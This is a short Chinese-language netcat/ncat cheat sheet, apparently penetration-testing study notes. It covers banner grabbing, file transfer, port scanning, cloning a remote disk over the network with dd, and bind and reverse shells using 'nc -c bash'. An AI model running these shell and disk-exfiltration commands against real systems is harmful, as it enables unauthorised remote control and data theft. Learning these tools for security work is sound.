banner信息 或 与服务器指定端口通信

nc  -nv  ip  port

-n  numeric-only ip address  (not dns)

-v  verbose  (use twice for more verbose)

例如：  nc     -nv    202.116.2.224  80    也可以利用nc进行 smtp（25） pop3（110） 连接

电子取证

nc -l -p port > sth.txt     等待连接端

ls -alh | nc -nv ip  port  -q 1  连接客户端

-l   listen mode  作为服务端监听 等待连接

-p  port (0~65535) 指定端口去监听连接

-q  end of file stdio  wait 1 second  信息传送完成时，1秒之后结束

文件传输

nc -l -p port > xxx   # xxx代表接收的文件

nc -nv ip port < xxx -q 1  #xxx代表要发送的文件，传递结束1秒后，断开连接

或者

nc -l -p port -q 1 < xxx  #代表发送的文件

nc -nv ip port >xxx  #代表接收的文件

-q  参数永远在发送端  

传输目录

tar  -cvf - music/ |  nc -l -p port -q 1

nc -nv ip port | tar -xvf -

加密传文件

nc -l -p port | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > xxx

mcrypt --flush -Fbq -a rijndael-256 -m ecb < xxx | nc -nv ip port -q 1

nc端口扫描

nc  -nvz ip port1-port2

nc -nvzu ip port1-port2

nc 远程克隆磁盘

nc -l -p port | dd of=/dev/sda

dd if=/dev/sda | nc -nv ip port -q 1

远程电子取证，可以将目标服务器硬盘远程复制，或者内存

远程控制

正向

nc  -l -p port -c bash

nc ip port 

反向

nc -l -p port

nc ip port -c bash

注 windows用户把bash改成cmd

nc缺乏加密和身份验证的功能

ncat包含于nmap工具包中

ncat -c bash --allow ip -nvl port --ssl

ncat -nv ip port --ssl

不同系统/平台的nc参数功能不尽相同